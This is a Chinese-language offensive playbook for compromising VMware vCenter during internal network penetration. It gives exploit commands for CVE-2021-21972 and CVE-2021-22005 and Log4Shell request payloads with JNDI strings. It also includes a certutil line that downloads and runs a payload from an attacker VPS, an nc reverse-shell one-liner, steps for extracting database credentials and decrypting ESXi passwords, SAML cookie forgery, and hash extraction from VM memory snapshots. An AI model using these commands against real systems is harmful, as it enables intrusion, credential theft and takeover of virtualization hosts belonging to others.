Vcenter實戰利用方式總結
0x00 前言
在內網滲透中常常會碰到VmwareVcenter,對實戰打法以及碰到的坑點做了一些總結,部分內容參考了師傅們提供的寶貴經驗,衷心感謝各位師傅!
0x01 指紋特征
title="+ ID_VC_Welcome +"

0x02 查看Vcenter版本
/sdk/vimServiceVersions.xml

0x03 CVE-2021-21972
影響范圍
- vCenter Server7.0 < 7.0.U1c
- vCenter Server6.7 < 6.7.U3l
- vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadova
訪問上面的路徑,如果404,則代表不存在漏洞,如果405 則可能存在漏洞

windows機器:
漏洞利用:
https://github.com/horizon3ai/CVE-2021-21972 python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp -t (目標地址)-f (上傳的文件)-p (上傳后的webshell路徑,默認不用改)

上傳后的路徑為
https://x.x.x.x/statsreport/gsl.jsp
完整路徑為
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Linux機器:
1、寫公私鑰(需要22端口開放)
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
2、遍歷寫shell(時間較久)
https://github.com/NS-Sp4ce/CVE-2021-21972

0x04 CVE-2021-22005
影響范圍
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenters Windows版本不受影響
漏洞利用:
https://github.com/r0ckysec/CVE-2021-22005 cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py python cve-2021-22005.py -t https://x.x.x.x

連接webshell
https://x.x.x.x/idm/..;/test.jsp

上傳后的webshell完整路徑為
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp
0x05 CVE-2021-44228
利用log4j漏洞,漏洞觸發點為XFF頭部
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close
DNSlog探測漏洞是否存在
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

使用 JNDIExploit 工具,-u 查看可執行命令

漏洞利用:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIPX-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}cmd:


cs上線
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1Host: 192.168.121.142User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDnt: 1cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exeX-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersConnection: close

Linux使用反彈shell命令
nc -e /bin/sh 10.10.10.10 8888nc -lvp 8888
彈回來若是非交互式shell沒有回顯,使用以下命令切換為交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'python -c 'import pty;pty.spawn("/bin/bash")'

0x06 獲取vcenter-web控制臺權限
重置密碼
比較快的一種方法,但是修改之后無法獲取原來的密碼,管理員會發現密碼被改
選擇3選項,輸入默認administrator@vsphere.local(需要管理員權限)
#Linux /usr/lib/vmware-vmdir/bin/vdcadmintool #Windows C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

cookie登錄
通過解密數據庫登錄獲取cookie,再用cookie登錄web
解密腳本:
https://github.com/horizon3ai/vcenter_saml_login
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11
然后會生成相應的cookie,訪問 ui 路徑進行 cookie 替換即可
#Linux/storage/db/vmware-vmdir/data.mdb#windowsC:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

使用小餅干替換cookie,成功登錄

windows運行腳本需要安裝對應版本的python-ldap
https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whlpip install -r requirements.txt


實際測試過程中發現windows的data.mdb文件過大,拉回來不是那么方便,適合Linux機器

這時候如果目標機器上裝有python環境,可使用3gstudent師傅的腳本進行利用
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py python vCenter_ExtraCertFromMdb.py data.mdb

運行腳本會生成三段證書文件,放置到相應的位置
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

不重置獲取密碼(ESXI)
查看域
#Linux/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost #windowsC:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhostC:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost
坑點:由于路徑中間存在空格,導致識別不了

解決方法:使用雙引號對含有空格的路徑進行單獨處理

1、獲取解密key
#Windowstype C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat #Linuxcat /etc/vmware-vpx/ssl/symkey.dat

2、獲取數據庫賬號密碼
vcenter默認數據庫文件存放在vcdb.properties,配置文件中有數據庫的明文賬號密碼
#Linuxcat /etc/vmware-vpx/vcdb.propertiescat /etc/vmware/service-state/vpxd/vcdb.properties #Windowstype C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.propertiestype C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties


默認是postgresql數據庫,只能在vCenter服務器本地登錄,執行語句查詢ESXI的密碼
#psql默認存放位置Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exeLinux: /opt/vmware/vpostgres/9.3/bin/psql #執行語句查詢psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc #執行完會輸出一段加密字段Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.encShell access is granted to rootPassword for user vc: ip_address | user_name | password -------------+-----------+---------------------------------------------------------------------------------------192.168.1.1 | vpxuser | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==192.168.1.2 | vpxuser | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==192.168.1.3 | vpxuser | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==192.168.1.4 | vpxuser | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==(4 rows) #只保留password字段*H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==*zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==*Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==*R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
在實際情況中也碰到使用 MSSQL 數據庫的情況,這時候直接使用 navicat 進行連接,搜索 VPX_HOST 表


3、使用腳本解密
https://github.com/shmilylty/vhost_password_decrypt
- password字段放到password.enc里面
- symkey.dat為第一步獲取的解密key

python decrypt.py symkey.dat password.enc password.txt
執行腳本后,會輸出一個password.txt,里面存放著對應 ip_address 的 ESXI 機器密碼
4、登錄ESXI
在 ESXI 機器地址后面添加 /ui ,訪問web控制臺,賬密為 vpxuser/password.txt里的密碼


解密出來的密碼除了可以登錄web控制臺以外還可以ssh登錄機器,不過需要服務里開啟 SSH 安全shell


0x07 獲取虛擬機權限
登錄web控制臺后,想要獲取某個虛擬機的權限,比如說目標系統為靶標
選擇目標虛擬機,操作生成快照

到數據存儲位置找到相應的快照文件

也可以通過 ssh 登錄ESXI服務器上,通過 find 找出相應的 vmem 和 vmsn 文件拷貝到本地
find / -name "*.vmem"

https://www.volatilityfoundation.org/releases
使用 volatility 工具查看 profile
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

讀取注冊表
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

獲取hash并解出密碼
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010


Vcenter綜合利用工具
包含目前最主流的CVE-2021-21972、CVE-2021-21985以及CVE-2021-22005,提供一鍵上傳webshell,命令執行或者上傳公鑰并使用SSH連接的功能。